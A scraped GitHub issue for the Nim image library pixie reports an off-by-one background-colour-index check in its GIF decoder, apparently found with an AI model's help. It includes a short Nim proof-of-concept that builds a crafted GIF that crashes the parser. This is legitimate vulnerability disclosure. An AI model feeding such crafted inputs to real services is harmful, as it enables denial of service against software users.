Title: Off-by-one in GIF parsing · Issue #560 · treeform/pixie · GitHub
Open Graph Title: Off-by-one in GIF parsing · Issue #560 · treeform/pixie
X Title: Off-by-one in GIF parsing · Issue #560 · treeform/pixie
Description: https://github.com/treeform/pixie/blob/master/src/pixie/fileformats/gif.nim#L44 and https://github.com/treeform/pixie/blob/master/src/pixie/fileformats/gif.nim#L68 have an off-by-one check for bgColorIndex. A crafted GIF with a global ta...
Open Graph Description: https://github.com/treeform/pixie/blob/master/src/pixie/fileformats/gif.nim#L44 and https://github.com/treeform/pixie/blob/master/src/pixie/fileformats/gif.nim#L68 have an off-by-one check for bgCo...
X Description: https://github.com/treeform/pixie/blob/master/src/pixie/fileformats/gif.nim#L44 and https://github.com/treeform/pixie/blob/master/src/pixie/fileformats/gif.nim#L68 have an off-by-one check for bgCo...
Opengraph URL: https://github.com/treeform/pixie/issues/560
X: @github
Domain: github.com
IPv4 address: 140.82.114.4
{"@context":"https://schema.org","@type":"DiscussionForumPosting","headline":"Off-by-one in GIF parsing","articleBody":"https://github.com/treeform/pixie/blob/master/src/pixie/fileformats/gif.nim#L44 and https://github.com/treeform/pixie/blob/master/src/pixie/fileformats/gif.nim#L68 have an off-by-one check for `bgColorIndex`. A crafted GIF with a global table of size 2 and background index 2 passes validation, then crashes with `IndexDefect` when reading `globalColorTable[bgColorIndex]`\n\n```nim\n# Run: nim r --path:src pocs/gif_bgcolor_off_by_one.nim\nimport pixie/fileformats/gif\n\nproc addLe16(data: var string, value: int) =\n data.add(char(value and 0xff))\n data.add(char((value shr 8) and 0xff))\n\nvar payload = \"GIF89a\"\npayload.addLe16(1)\npayload.addLe16(1)\npayload.add(char(0x80)) # Global color table present, size = 2 entries.\npayload.add(char(0x02)) # Off-by-one background color index.\npayload.add(char(0x00))\npayload.add(\"\\x00\\x00\\x00\\xff\\xff\\xff\")\npayload.add(char(0x3b))\n\necho \"parsing crafted GIF with bgColorIndex == globalColorTableSize\"\ndiscard decodeGif(payload)\n```\n\nFound by GPT 5.4.","author":{"url":"https://github.com/hourianto","@type":"Person","name":"hourianto"},"datePublished":"2026-03-10T13:40:49Z","url":"https://github.com/treeform/pixie/issues/560"}
| react-profiling | 0 |
| react-import-map | react,react-dom,react-dom/client,react-dom/profiling,react-is,react/compiler-runtime,react/jsx-dev-runtime,react/jsx-runtime,scheduler@b8488ee2c322 |
| route-pattern | /_view_fragments/issues/show/:user_id/:repository/:id/issue_layout(.:format) |
| route-controller | voltron_issues_fragments |
| route-action | issue_layout |
| fetch-nonce | v2:42f876ac-bdb9-be7f-d869-4f0b88bb475b |
| current-catalog-service-hash | 81bb79d38c15960b92d99bca9288a9108c7a47b18f2423d0f6438c5b7bcd2114 |
| request-id | D198:9393C:8DBF3C:BA9FAE:6B04CF4B |
| html-safe-nonce | 7b23c05292fd04c014ae22756563cff89bb938bc3d68bbd447c328abcee37952 |
| visitor-payload | eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJEMTk4OjkzOTNDOjhEQkYzQzpCQTlGQUU6NkIwNENGNEIiLCJ2aXNpdG9yX2lkIjoiODI4NjM4NzY4OTk1NjM2NDEwNyIsInJlZ2lvbl9lZGdlIjoiaWFkIiwicmVnaW9uX3JlbmRlciI6ImlhZCJ9 |
| visitor-hmac | 16b7e548dd148a0f099efd632a1bc8a67bc472f3fbc27d37fc94be853b2c2fb8 |
| hovercard-subject-tag | issue:4051896305 |
| github-keyboard-shortcuts | repository,source-code,file-tree,issues,copilot |
| google-site-verification | Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I |
| octolytics-url | https://collector.github.com/github/collect |
| analytics-location | / |
| fb:app_id | 1401488693436528 |
| apple-itunes-app | app-id=1477376905, app-argument=https://github.com/_view_fragments/issues/show/treeform/pixie/560/issue_layout |
| twitter:image | https://opengraph.githubassets.com/343207dff199cd8f86c03f9176c82cc69c5c0fccb23e6687816349c10df9276f/treeform/pixie/issues/560 |
| twitter:card | summary_large_image |
| og:image | https://opengraph.githubassets.com/343207dff199cd8f86c03f9176c82cc69c5c0fccb23e6687816349c10df9276f/treeform/pixie/issues/560 |
| og:image:alt | https://github.com/treeform/pixie/blob/master/src/pixie/fileformats/gif.nim#L44 and https://github.com/treeform/pixie/blob/master/src/pixie/fileformats/gif.nim#L68 have an off-by-one check for bgCo... |
| og:image:width | 1200 |
| og:image:height | 600 |
| og:site_name | GitHub |
| og:type | object |
| og:author:username | hourianto |
| hostname | github.com |
| expected-hostname | github.com |
| None | 27ed421e5c2dac040a37529b5b9191edcc4a3de70521471e81fb4b4d9dc2aa7d |
| turbo-cache-control | no-preview |
| go-import | github.com/treeform/pixie git https://github.com/treeform/pixie.git |
| octolytics-dimension-user_id | 125948 |
| octolytics-dimension-user_login | treeform |
| octolytics-dimension-repository_id | 314427501 |
| octolytics-dimension-repository_nwo | treeform/pixie |
| octolytics-dimension-repository_public | true |
| octolytics-dimension-repository_is_fork | false |
| octolytics-dimension-repository_network_root_id | 314427501 |
| octolytics-dimension-repository_network_root_nwo | treeform/pixie |
| turbo-body-classes | logged-out env-production page-responsive |
| disable-turbo | false |
| browser-stats-url | https://api.github.com/_private/browser/stats |
| browser-errors-url | https://api.github.com/_private/browser/errors |
| release | 63dc19014c621c67306d7899c04c78dcd0d95803 |
| ui-target | full |
| theme-color | #1e2327 |
| color-scheme | light dark |
| react-app-name | issues |
Links:
| Server | github.com |
| Content-Type | text/html; charset=utf-8 |
| Cache-Control | max-age=0, private, must-revalidate |
Viewport: width=device-width